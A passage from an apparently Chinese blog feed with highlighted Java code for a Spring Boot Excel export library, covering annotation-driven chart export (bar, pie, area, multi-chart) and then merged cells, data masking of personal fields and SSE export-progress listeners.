class="type">int</span> months)</span> &#123;  </span><br><span class="line">    log.info(<span class="string">&quot;Exporting bar chart with &#123;&#125; months of data&quot;</span>, months);  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateChartData(Math.min(months, <span class="number">12</span>));  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/e2d60cd911550bc0d427869139389786.png" alt=""></p><h3 id="饼图">饼图</h3><p>代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/pie&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;饼图-销售分布&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;Sales Distribution&quot;),  </span></span><br><span class="line"><span class="meta">    chart = @ExcelChart(  </span></span><br><span class="line"><span class="meta">       title = &quot;Sales Distribution by Month&quot;,  </span></span><br><span class="line"><span class="meta">       enabled = true,  </span></span><br><span class="line"><span class="meta">       type = ExcelChart.ChartType.PIE,  </span></span><br><span class="line"><span class="meta">       xAxisField = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">       yAxisFields = &#123;&quot;Sales&quot;&#125;,  </span></span><br><span class="line"><span class="meta">       startRow = 0,  </span></span><br><span class="line"><span class="meta">       startColumn = 8,  </span></span><br><span class="line"><span class="meta">       endRow = 20,  </span></span><br><span class="line"><span class="meta">       endColumn = 18,  </span></span><br><span class="line"><span class="meta">       showLegend = true,  </span></span><br><span class="line"><span class="meta">       legendPosition = ExcelChart.LegendPosition.RIGHT  </span></span><br><span class="line"><span class="meta">    )  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;ChartDataDTO&gt; <span class="title function_">exportPieChart</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;12&quot;)</span> <span class="type">int</span> months)</span> &#123;  </span><br><span class="line">    log.info(<span class="string">&quot;Exporting pie chart with &#123;&#125; months of data&quot;</span>, months);  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateChartData(Math.min(months, <span class="number">12</span>));  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/abffdd593504b1e731e4f0d0cd11577d.png" alt=""></p><h3 id="面积图">面积图</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/area&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;面积图-累计销售&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;Cumulative Sales&quot;),  </span></span><br><span class="line"><span class="meta">    chart = @ExcelChart(  </span></span><br><span class="line"><span class="meta">       title = &quot;Cumulative Sales and Cost&quot;,  </span></span><br><span class="line"><span class="meta">       enabled = true,  </span></span><br><span class="line"><span class="meta">       type = ExcelChart.ChartType.AREA,  </span></span><br><span class="line"><span class="meta">       xAxisField = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">       yAxisFields = &#123;&quot;Sales&quot;, &quot;Cost&quot;&#125;,  </span></span><br><span class="line"><span class="meta">       startRow = 0,  </span></span><br><span class="line"><span class="meta">       startColumn = 8,  </span></span><br><span class="line"><span class="meta">       endRow = 20,  </span></span><br><span class="line"><span class="meta">       endColumn = 18,  </span></span><br><span class="line"><span class="meta">       xAxisTitle = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">       yAxisTitle = &quot;Amount (USD)&quot;,  </span></span><br><span class="line"><span class="meta">       showLegend = true,  </span></span><br><span class="line"><span class="meta">       legendPosition = ExcelChart.LegendPosition.BOTTOM  </span></span><br><span class="line"><span class="meta">    )  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;ChartDataDTO&gt; <span class="title function_">exportAreaChart</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;12&quot;)</span> <span class="type">int</span> months)</span> &#123;  </span><br><span class="line">    log.info(<span class="string">&quot;Exporting area chart with &#123;&#125; months of data&quot;</span>, months);  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateChartData(Math.min(months, <span class="number">12</span>));  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/569f8be5fab25fb8592c2a08f3e1e653.png" alt=""></p><h3 id="多个独立图表导出">多个独立图表导出</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/layered-analysis&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;分层分析-多图表&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;Layered Analysis&quot;),  </span></span><br><span class="line"><span class="meta">    charts = &#123;  </span></span><br><span class="line"><span class="meta">       @ExcelChart(  </span></span><br><span class="line"><span class="meta">          title = &quot;Revenue Analysis&quot;,  </span></span><br><span class="line"><span class="meta">          enabled = true,  </span></span><br><span class="line"><span class="meta">          type = ExcelChart.ChartType.LINE,  </span></span><br><span class="line"><span class="meta">          xAxisField = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">          yAxisFields = &#123;&quot;Sales&quot;&#125;,  </span></span><br><span class="line"><span class="meta">          startRow = 0,  </span></span><br><span class="line"><span class="meta">          startColumn = 8,  </span></span><br><span class="line"><span class="meta">          endRow = 15,  </span></span><br><span class="line"><span class="meta">          endColumn = 17,  </span></span><br><span class="line"><span class="meta">          xAxisTitle = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">          yAxisTitle = &quot;Sales (USD)&quot;,  </span></span><br><span class="line"><span class="meta">          showLegend = true,  </span></span><br><span class="line"><span class="meta">          legendPosition = ExcelChart.LegendPosition.BOTTOM  </span></span><br><span class="line"><span class="meta">       ),  </span></span><br><span class="line"><span class="meta">       @ExcelChart(  </span></span><br><span class="line"><span class="meta">          title = &quot;Cost Analysis&quot;,  </span></span><br><span class="line"><span class="meta">          enabled = true,  </span></span><br><span class="line"><span class="meta">          type = ExcelChart.ChartType.AREA,  </span></span><br><span class="line"><span class="meta">          xAxisField = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">          yAxisFields = &#123;&quot;Cost&quot;&#125;,  </span></span><br><span class="line"><span class="meta">          startRow = 17,  </span></span><br><span class="line"><span class="meta">          startColumn = 8,  </span></span><br><span class="line"><span class="meta">          endRow = 32,  </span></span><br><span class="line"><span class="meta">          endColumn = 17,  </span></span><br><span class="line"><span class="meta">          xAxisTitle = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">          yAxisTitle = &quot;Cost (USD)&quot;,  </span></span><br><span class="line"><span class="meta">          showLegend = true,  </span></span><br><span class="line"><span class="meta">          legendPosition = ExcelChart.LegendPosition.TOP  </span></span><br><span class="line"><span class="meta">       ),  </span></span><br><span class="line"><span class="meta">       @ExcelChart(  </span></span><br><span class="line"><span class="meta">          title = &quot;Profit Analysis&quot;,  </span></span><br><span class="line"><span class="meta">          enabled = true,  </span></span><br><span class="line"><span class="meta">          type = ExcelChart.ChartType.COLUMN,  </span></span><br><span class="line"><span class="meta">          xAxisField = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">          yAxisFields = &#123;&quot;Profit&quot;&#125;,  </span></span><br><span class="line"><span class="meta">          startRow = 0,  </span></span><br><span class="line"><span class="meta">          startColumn = 19,  </span></span><br><span class="line"><span class="meta">          endRow = 15,  </span></span><br><span class="line"><span class="meta">          endColumn = 27,  </span></span><br><span class="line"><span class="meta">          xAxisTitle = &quot;Month&quot;,  </span></span><br><span class="line"><span class="meta">          yAxisTitle = &quot;Profit (USD)&quot;,  </span></span><br><span class="line"><span class="meta">          showLegend = true,  </span></span><br><span class="line"><span class="meta">          legendPosition = ExcelChart.LegendPosition.RIGHT  </span></span><br><span class="line"><span class="meta">       )  </span></span><br><span class="line"><span class="meta">    &#125;)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;ChartDataDTO&gt; <span class="title function_">exportLayeredAnalysis</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;12&quot;)</span> <span class="type">int</span> months)</span> &#123;  </span><br><span class="line">    log.info(<span class="string">&quot;Exporting layered analysis with &#123;&#125; months of data&quot;</span>, months);  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateChartData(Math.min(months, <span class="number">12</span>));  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/f6b3736fee484714efe6b5688c0ca9b8.png" alt=""></p>]]></content>
    
    
    <summary type="html">spring boot项目excel导出功能封装——3.图表导出</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="excel" scheme="https://blog.allbs.cn/tags/excel/"/>
    
    <category term="导入导出" scheme="https://blog.allbs.cn/tags/%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA/"/>
    
  </entry>
  
  <entry>
    <title>spring boot项目excel导出功能封装——2.高级导出</title>
    <link href="https://blog.allbs.cn/posts/819a8b7a/"/>
    <id>https://blog.allbs.cn/posts/819a8b7a/</id>
    <published>2025-11-25T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="说在前面">说在前面</h2><p>封装的easyexcel，基于注解实现excel的导入导出，以场景来说，就是你有一个<strong>现成的分页接口或者一个list接口</strong>，只需要添加几个简单的注解，就可以实现excel的导出，也是为了方便有模板生成代码的情况下直接生成导出功能。<br>这是封装的依赖库源码：<a href="https://github.com/chenqi92/allbs-excel">https://github.com/chenqi92/allbs-excel</a><br>这是这个依赖库的使用示例：<a href="https://github.com/chenqi92/allbs-excel-test">https://github.com/chenqi92/allbs-excel-test</a><br>依赖库运行后在浏览器中打开：<a href="http://localhost:8080/">http://localhost:8080/</a> 即可测试各种示例，参照示例进行使用可以不用看后续的使用说明。<br>这是第二篇了，第一篇可以往前翻翻，后一篇是讲excel中的统计图的，没啥用可以跳过之后看最后一篇导入篇。</p><h2 id="使用说明">使用说明</h2><p>添加maven依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-excel<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="合并单元格">合并单元格</h3><p>导出中不可避免遇到的情况，但是需要将需要合并的字段进行排序，以便能够识别并自动合并。<br>主要通过<code>@ExportExcel</code>的<code>autoMerge = true</code>属性实现，并在对应字段添加注解<code>@ExcelMerge</code><br>代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/merge&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;部门员工列表&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(  </span></span><br><span class="line"><span class="meta">        sheetName = &quot;员工信息&quot;,  </span></span><br><span class="line"><span class="meta">        autoMerge = true  // 启用自动合并  </span></span><br><span class="line"><span class="meta">    )  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;EmployeeDTO&gt; <span class="title function_">mergeExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;20&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateEmployees(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EmployeeDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;部门&quot;, index = 0)</span>  </span><br><span class="line">    <span class="meta">@ExcelMerge</span>  <span class="comment">// 标记需要合并的字段  </span></span><br><span class="line">    <span class="keyword">private</span> String department;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;姓名&quot;, index = 1)</span>  </span><br><span class="line">    <span class="meta">@ExcelMerge(dependOn = &quot;department&quot;)</span>  <span class="comment">// 依赖部门列  </span></span><br><span class="line">    <span class="keyword">private</span> String name;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;职位&quot;, index = 2)</span>  </span><br><span class="line">    <span class="meta">@ExcelMerge(dependOn = &quot;name&quot;)</span>  <span class="comment">// 依赖姓名列  </span></span><br><span class="line">    <span class="keyword">private</span> String position;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;工资&quot;, index = 3)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal salary;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;入职日期&quot;, index = 4)</span>  </span><br><span class="line">    <span class="keyword">private</span> String joinDate;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果(数据并不合理，姓名一列专门设置了一样的名字用于测试合并)：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/8bf3752caba10c6684392a9894943b8b.png" alt=""></p><h3 id="数据脱敏">数据脱敏</h3><p>实际导出过程中肯定无法避免遇到需要数据脱敏的情况，如果是数据库层面脱敏过这边可以忽略，但是如果数据库层面没脱敏但是又需要在最后展示进行脱敏，就是这个功能的实际应用。<br>主要方式依赖字段注解<code>@Desensitize</code>，内置提供手机号、身份证号、邮箱、银行卡号、姓名、地址、固定电话、车牌号、自定义这些脱敏方式，如果内置的脱敏达不到你的要求，可以进行自定义实现，自定义采取设置前几位和最后几位保留的脱敏方式，除了前后的指定位数，其他内容变更为*。本来还想可以自定义字符填充，想想挺傻的，用默认的<code>*</code>就可以了。<br>使用示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/desensitize&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;敏感信息用户列表&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;用户信息&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;SensitiveUserDTO&gt; <span class="title function_">desensitizeExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateSensitiveUsers(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SensitiveUserDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;用户ID&quot;, index = 0)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long id;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;姓名&quot;, index = 1, converter = DesensitizeConverter.class)</span>  </span><br><span class="line">    <span class="meta">@Desensitize(type = DesensitizeType.NAME)</span>  </span><br><span class="line">    <span class="keyword">private</span> String name;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;手机号&quot;, index = 2, converter = DesensitizeConverter.class)</span>  </span><br><span class="line">    <span class="meta">@Desensitize(type = DesensitizeType.MOBILE_PHONE)</span>  </span><br><span class="line">    <span class="keyword">private</span> String phone;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;身份证&quot;, index = 3, converter = DesensitizeConverter.class)</span>  </span><br><span class="line">    <span class="meta">@Desensitize(type = DesensitizeType.ID_CARD)</span>  </span><br><span class="line">    <span class="keyword">private</span> String idCard;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;邮箱&quot;, index = 4, converter = DesensitizeConverter.class)</span>  </span><br><span class="line">    <span class="meta">@Desensitize(type = DesensitizeType.EMAIL)</span>  </span><br><span class="line">    <span class="keyword">private</span> String email;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;银行卡&quot;, index = 5, converter = DesensitizeConverter.class)</span>  </span><br><span class="line">    <span class="meta">@Desensitize(type = DesensitizeType.BANK_CARD)</span>  </span><br><span class="line">    <span class="keyword">private</span> String bankCard;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;地址&quot;, index = 6, converter = DesensitizeConverter.class)</span>  </span><br><span class="line">    <span class="meta">@Desensitize(type = DesensitizeType.ADDRESS)</span>  </span><br><span class="line">    <span class="keyword">private</span> String address;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;性别&quot;, index = 7, converter = DictConverter.class)</span>  </span><br><span class="line">    <span class="meta">@ExcelDict(dictType = &quot;sys_user_sex&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String sex;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;状态&quot;, index = 8, converter = DictConverter.class)</span>  </span><br><span class="line">    <span class="meta">@ExcelDict(dictType = &quot;sys_user_status&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String status;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实现效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/5c02a7c625b7a3784116c10eef877e17.png" alt=""></p><h3 id="导出进度">导出进度</h3><p>如果数据量较大，提供给前端实时进度，避免用户焦躁。这是实际效果，在allbs-excel-test中有具体的实现了，主要通过接口方法注解<code>@ExportProgress</code>进行实现，源码中定义了一个接口<code>ExportProgressListener</code>,通过实现这个接口可以获取导出过程中的进度，然后通过websocket或者sse主动推送给前端即可。<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/f55474899c096ab40d0aa3231f92d1c2.png" alt=""><br>代码实现，注意下面的<code>ExportProgress</code>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/with-progress&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;用户列表-带进度&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;用户信息&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="meta">@ExportProgress(  </span></span><br><span class="line"><span class="meta">    listener = SseProgressListener.class,  </span></span><br><span class="line"><span class="meta">    interval = 100  // 每 100 行触发一次进度回调  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;SensitiveUserDTO&gt; <span class="title function_">exportWithProgress</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;5000&quot;)</span> <span class="type">int</span> count,  </span></span><br><span class="line"><span class="params">                                                  <span class="meta">@RequestParam(required = false)</span> String sessionId)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateSensitiveUsers(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这是进度的实现，实现进度监听然后处理开始、进度更新、结束、错误几个方法即可：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Component</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SseProgressListener</span> <span class="keyword">implements</span> <span class="title class_">ExportProgressListener</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">log</span> <span class="operator">=</span> LoggerFactory.getLogger(SseProgressListener.class);  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Autowired</span>  </span><br><span class="line">    <span class="keyword">private</span> ProgressService progressService;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onStart</span><span class="params">(<span class="type">int</span> totalRows, String sheetName)</span> &#123;  </span><br><span class="line">        log.info(<span class="string">&quot;========== 开始导出 ==========&quot;</span>);  </span><br><span class="line">        log.info(<span class="string">&quot;Sheet名称: &#123;&#125;&quot;</span>, sheetName);  </span><br><span class="line">        log.info(<span class="string">&quot;总行数: &#123;&#125;&quot;</span>, totalRows);  </span><br><span class="line">  </span><br><span class="line">        <span class="type">String</span> <span class="variable">sessionId</span> <span class="operator">=</span> getSessionId();  </span><br><span class="line">        <span class="keyword">if</span> (sessionId != <span class="literal">null</span>) &#123;  </span><br><span class="line">            progressService.sendProgress(sessionId,  </span><br><span class="line">                ProgressService.ProgressMessage.start(totalRows, sheetName));  </span><br><span class="line">        &#125;    &#125;  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onProgress</span><span class="params">(<span class="type">int</span> currentRow, <span class="type">int</span> totalRows, <span class="type">double</span> percentage, String sheetName)</span> &#123;  </span><br><span class="line">        log.info(<span class="string">&quot;导出进度: &#123;&#125;/&#123;&#125; (&#123;:.2f&#125;%) - &#123;&#125;&quot;</span>,  </span><br><span class="line">            currentRow, totalRows, percentage, sheetName);  </span><br><span class="line">  </span><br><span class="line">        <span class="type">String</span> <span class="variable">sessionId</span> <span class="operator">=</span> getSessionId();  </span><br><span class="line">        <span class="keyword">if</span> (sessionId != <span class="literal">null</span>) &#123;  </span><br><span class="line">            progressService.sendProgress(sessionId,  </span><br><span class="line">                ProgressService.ProgressMessage.progress(currentRow, totalRows, percentage, sheetName));  </span><br><span class="line">        &#125;    &#125;  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onComplete</span><span class="params">(<span class="type">int</span> totalRows, String sheetName)</span> &#123;  </span><br><span class="line">        log.info(<span class="string">&quot;========== 导出完成 ==========&quot;</span>);  </span><br><span class="line">        log.info(<span class="string">&quot;Sheet名称: &#123;&#125;&quot;</span>, sheetName);  </span><br><span class="line">        log.info(<span class="string">&quot;总行数: &#123;&#125;&quot;</span>, totalRows);  </span><br><span class="line">  </span><br><span class="line">        <span class="type">String</span> <span class="variable">sessionId</span> <span class="operator">=</span> getSessionId();  </span><br><span class="line">        <span class="keyword">if</span> (sessionId != <span class="literal">null</span>) &#123;  </span><br><span class="line">            progressService.sendProgress(sessionId,  </span><br><span class="line">                ProgressService.ProgressMessage.complete(totalRows, sheetName));  </span><br><span class="line">            <span class="comment">// 